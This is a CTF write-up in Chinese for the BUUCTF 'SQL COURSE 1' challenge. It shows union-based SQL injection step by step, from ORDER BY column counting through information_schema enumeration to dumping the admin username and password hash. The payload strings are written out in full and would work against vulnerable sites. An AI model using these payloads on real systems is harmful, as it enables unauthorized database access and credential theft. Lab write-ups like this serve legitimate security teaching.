[TOC]

【BUUCTF】BUU SQL COURSE 1 &&

这是一道比较基础的题目,但是它和普通的注入有所区别。

image-20210919214218795

点击测试新闻1,2,3:

image-20210919214354043

image-20210919214423000

image-20210919214441367

只有登陆界面可能存在注入,

image-20210921222331661

但是经过各种尝试并未发现注入点

经过再次寻找发现network种有content_list.php

image-20210919215738045

并且在刚刚的测试新闻界面发现注入点:

image-20210919215859368

访问此页面:

image-20210919220026776

首先查字段:

url?id = 1 order by 2不报错

url?id = 1 order by 3不回显

所以有两个字段,接下来使用联合查询:

url?id = 1 union select 1,2

查询数据库名:

url?id=0 union select 1,database()

这里id对应的值不要是1、2、3,他们是测试新闻页面下本就有的,如果想要得到数据库名还得用之外的数字。

image-20210919221916654

在这里得到数据库名为:news

同理也可以得到想要的数据库版本和用户

image-20210919222144124

image-20210919222222498

查数据库下的表名:

url?id=0 union select 1,table_name from information_schema.tables where table_schema=database()

image-20210919222522171

开始构造payload:

?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

在这里其实可以将第二个字段用括号包起来,但是其中需要添加select:

url?id=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database() )

image-20210919223434540

对于mysql和Infobright等数据库,information_schema数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。

information_schema.tables存储了数据表的元数据信息,

MySQL的文档中指出,在物理上,模式与数据库是同义的,所以,模式和数据库是一回事。

url?id=0 union select 1,group_concat(table_name) from information_schema.tables

image-20210921215629664

查询表中的列名(column):

?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

image-20210921220234367

发现admin表下有id,username,password

查询表中数据:

?id=0 union select username,password from admin

image-20210921220610993

目的达到就此获得admin密码,登陆获取flag.

?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
# admin、contents
?id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#
# id、username、password
?id=0 union select group_concat(username),group_concat(password) from admin#
# admin、4060176f25a3fc1f44932f0a24a70759